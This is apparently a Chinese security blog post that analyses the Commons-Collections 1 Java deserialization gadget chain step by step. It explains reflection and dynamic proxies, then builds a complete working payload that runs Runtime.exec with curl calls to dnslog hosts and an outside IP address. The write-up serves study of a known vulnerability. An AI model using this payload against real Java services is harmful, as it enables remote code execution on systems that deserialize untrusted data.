Commons-Collections 1 反序列化Gadget链路分析 – 作者:buglab

1 Gadget分析

首先查询Commons-Collections 1 链路分析:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections

我们从最底层向上看,最底层执行命令是Runtime.getRuntime().exec("curl http://dnslog"),通过反射机制来实现,所以先介绍反射机制。

2 反射机制

2.1 概念

首先我们先从基础知识反射来说起:

反射机制指在程序运行过程中,对任意一个**类**都能获得其**所有**的属性和方法,并且对任何一个对象都能调用其任意一个方法。这种动态获取类和对象的信息,以及动态调用对象的方法的功能称为Java语言的反射机制。

这里我们一定要区别开类和对象的概念:

对象:对象是类的一个实例(对象不是找个女朋友),有状态和行为。例如,一条狗是一个对象,它的状态有:颜色、名字、品种;行为有:摇尾巴、叫、吃等。
类:类是一个模板,它描述一类对象的行为和状态。

2.2 反射步骤

获得想要操作类的Class对象,通过它可以调用类的任意方法;

1、调用对象的getClass()方法获取类对应的Class对象;
Persion p=new Person();
Class clazz=p.getClass();//p一定要是对象,所以后面提到InvokerTransformer.transform(Object)中Object一定是对象
2、调用某个类class属性获得对应Class对象
Class clazz =Person.class
3、调用Class类中的forName静态方法以获得该类对应的Class对象,是最安全的方法
Class clazz=Class.forName("java.lang.Runtime")//获得Runtime的Class对象

调用Class对象所对应类中定义的方法,这就是反射使用阶段;

反射查看类中的方法和属性
Method[] methods=clazz.getDeclaredMethods();
for(Method m:methods){
System.out.Println(m.toString())
}
构造方法
Constructor[] constructor=clazz.getDeclaredConstructors();
for(Constructor c:constructor){
System.out.Println(c.toString())
}

使用反射API来获取并调用类的属性和方法等信息。

使用反射API前,需要了解下创建对象两种方式:
*使用Class对象的newInstance方法创建该类对应的实例,前提是该Class对象需要存在默认的空构建器;
*使用Class对象获得指定的Constructor对象,调用Constructor的newInstance方法创建实例。

2.3 method.invoke

表示在运行代码中动态调用该方法。主要有如下两个步骤:

1 获得Method对象,通过Class对象的getMethod(String name,Class<?> ...parameterTypes)返回一个Method对象,name参数是指方法名称,parameterTypes是按声明顺序标识该方法形参类型Class对象的一个数组。
2 调用invoke方法method.invoke(object,args):指通过Method对象的invoke方法来动态执行函数,args表示方法所需要的参数。
这里还有一个注意就是method.invoke返回是啥?返回Object

3 链路分析

3.1 InvokerTransformer

我们可以从InvokerTransformer发现存在method.invoke方法。看下具体的源码:

public class InvokerTransformer implements Transformer, Serializable {
/**
* Transforms the input to result by invoking a method on the input.
* 
* @param input  the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

那我们以最底层执行命令为例,构造反射方法如下:

Runtime clazz= Runtime.getRuntime();//获得Runtime实例
InvokerTransformer xxx=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://jbpzav.dnslog.cn"});
xxx.transform(clazz);

当然上面的仅仅是做演示demo,现实中这几乎是不可能的,没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。那么有没有类直接返回类的实例?网上公开的是存ConstantTransformer()类。

Class clazz=Class.forName("java.lang.Runtime")
//获得Runtime.getRuntime 的Method对象
new InvokerTransformer("getMethod",new Class[]{"getRuntime",Class[].class},new Object[]{new Class[0]}) 
//
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://xx"})

3.2 ConstantTransformer

看下该类的源码:

public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;

public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

public Object getConstant() {
return this.iConstant;
}
}

ConstantTransformer中的transform方法原封不动的返回输入constantToReturn的对象。那么我们继续构造下执行命令:

ConstantTransformer ct=new ConstantTransformer(Runtime.getRuntime());
Object runtime=ct.transform(String.class);//input可以任意类型
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://567w9t.dnslog.cn"});
invokerTransformer.transform(runtime);

实际运行效果如下:

图片[1]-Commons-Collections 1 反序列化Gadget链路分析 – 作者:buglab-安全小百科

从上面运行看,可以运行命令,但是实际无法writeObject写入。

3.3 ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {

/** Serial version UID */
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

可以发现ChainedTransformer的transform存在一个循环执行Transformer的transfrom方法。同时也可以发现InvokerTransformer、ConstantTransformer、ChainedTransformer都继承了Transformer和Serializable类。那么可以看下如下规则:

父类名 a = new 子类名()
子类名 b = new 子类名()
a只能调用父类的函数,不能调用子类的函数,因为它没有继承
b可以调用父类的函数也可以调用子类的函数
但是对构造函数的执行上二者是没有区别的。
此处父类名为Transformer,子类为InvokerTransformer、ConstantTransformer、ChainedTransformer

那么我们继续重新构造下执行命令:

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://ip:2333/xxx"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.getRuntime());

这种方式理论上是可行的,但是实际却很少实现传递一个Runtime.getRuntime()实例对象。

图片[2]-Commons-Collections 1 反序列化Gadget链路分析 – 作者:buglab-安全小百科

继续分析Gadget链路中LazyMap.get()方法,这里是怎么和ChainedTransformer.transform()方法关联的呢?

3.4 LazyMap.get()

public class LazyMap<K, V> extends AbstractMapDecorator<K, V> implements Serializable {
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

如果map中不存在传入的key值,那么就是调用factory.transform(key)方法,而factory可以是Transformer类。而前面也说了InvokerTransformer、ConstantTransformer、ChainedTransformer都是符合条件的。

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://ip:2333/zzz"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazy= LazyMap.decorate(hashMap,chainedTransformer);
lazy.get(Runtime.getRuntime());

这里我将url换成自己的vps,主要就是容易调试和查看是否成功访问。

上面这四个类都实现 java.io.Serializable 接口,这个是实现反序列化的必要条件,所以我们后面再寻找反序列化的时候,可以看看是否存在满足该必要条件。

3.5 AnnotationInvocationHandler

当看到AnnotationInvocationHandler类的时候,有点懵圈,因为该类真的还少遇见,感觉一下就崩出该类,对他没什么概念,所以先从网上找点关于该类介绍的资料,并找出它与LazyMap.get()的关系:

1、它是JDK自带的一个类,是一个对注解调用的InvocationHandle(proxy的执行类);
2、该类在JDK1.7版本存在,1.8+不存在该类,所以这里一定要再安装下jdk1.7版本,具体看4 经验分享

原来java.lang.reflect API 提供了一个叫Proxy的类和一个叫InvocationHandler来实现动态代理。那么我们先看下怎么使用InvocationHandler来实现:

第一步:要实现动态代理,总得有个目标接口和接口的实现类,然后我们对该接口进行代理。

//接口
public interface Animal{
void doAction(String action);//定义动物的行为
String Name(String name);//动物的名称
}
//实现类
public class Dog implements Animal{
public void doAction(String action){
System.out.println("狗会"+ action);//狗会汪汪
}
public String Name(String name){
System.out.println("它叫"+ name);//狗
}
}

第二步:实现代理类,定义我们自己的代理Handler类,这个类必须实现java.lang.reflect.InvocationHandler接口,这个接口中只有一个方法,定义如下:

Object  invoke(Object proxy,Method m,Object[] args)

Object 被代理类的实例,Method 被代理类实例的方法,Object[] 上面Method的参数。

public class DogHandler implements InvocationHandler {
Object xproxy;
public DogHandler(Object proxy){
this.xproxy=proxy;

}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result;
System.out.println("You are calling : " + method.getName());
result = method.invoke(xproxy, args);

return result;
}
}

第三步,实现代理的工厂类

public class DogFactory {
public static Object newInstance(Object object, Class clazz, InvocationHandler invocationHandler){
return Proxy.newProxyInstance(object.getClass().getClassLoader(),new Class<?>[]{clazz},invocationHandler);
}
public static void main(String[] args){
DogImple dogImple=new DogImple();
Animal dog=(Animal) newInstance(dogImple, Animal.class,new DogHandler(dogImple));
dog.doAction("wangwang");
String name=dog.Name("Dog");
System.out.println(name);
}


}

最终运行的结果:

You are calling : doAction
狗会wangwang
You are calling : Name
它叫Dog
I am a Dog

程序会调用实现了代理类(必须实现 InvocationHandler)的 invoke方法,然后再通过反射调用被代理类的方法。那么现在回到刚开始说的AnnotationInvocationHandler类,先看下源码:

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

....
}

AnnotationInvocationHandler实现了InvocationHandler和Serializable。同时在 AnnotationInvocationHandler类的 invoke方法中,我们可以看到有 **get()**方法调用,且 this.memberValues可控。通过动态代理,我们就可以触发这个 invoke方法。这样就可以和LazyMap.get关联在一起了,那么我们修改下反序列化代码:

public class TestCC1 {
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{
"getRuntime",new Class[0]
}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{
"curl http://1.15.81.231:2333/uuu"
})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
hashMap.put("value","asdf");//随便赋值
Map lazy= LazyMap.decorate(hashMap,chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ct=clazz.getDeclaredConstructor(Class.class,Map.class);
ct.setAccessible(true);
InvocationHandler handler= (InvocationHandler) ct.newInstance(Retention.class, lazy);
Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
Object instance = ct.newInstance(Retention.class, proxy);

payload2File(instance,"cc1");

payloadTest("cc1");
}
}

成功触发。

图片[3]-Commons-Collections 1 反序列化Gadget链路分析 – 作者:buglab-安全小百科

4 经验分享

4.1 IDEA怎么切换到jdk 1.7:

依赖选择到1.7版本:选择File–Project Structure!

图片[4]-Commons-Collections 1 反序列化Gadget链路分析 – 作者:buglab-安全小百科

运行JRE也要切换到1.7版本:

图片[5]-Commons-Collections 1 反序列化Gadget链路分析 – 作者:buglab-安全小百科

4.2 IDEA中遇到One of the two will be used. Which one is undefined.

最终解决方法:https://blog.csdn.net/wskii/article/details/81332149

附录

1、https://www.anquanke.com/post/id/208274#h3-5

2、https://mp.weixin.qq.com/s/p-5BuraCDVCAG9llsFrDbQ

3、Web安全 hack_cor0ps公众号

来源:freebuf.com 2021-06-01 21:31:33 by: buglab

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论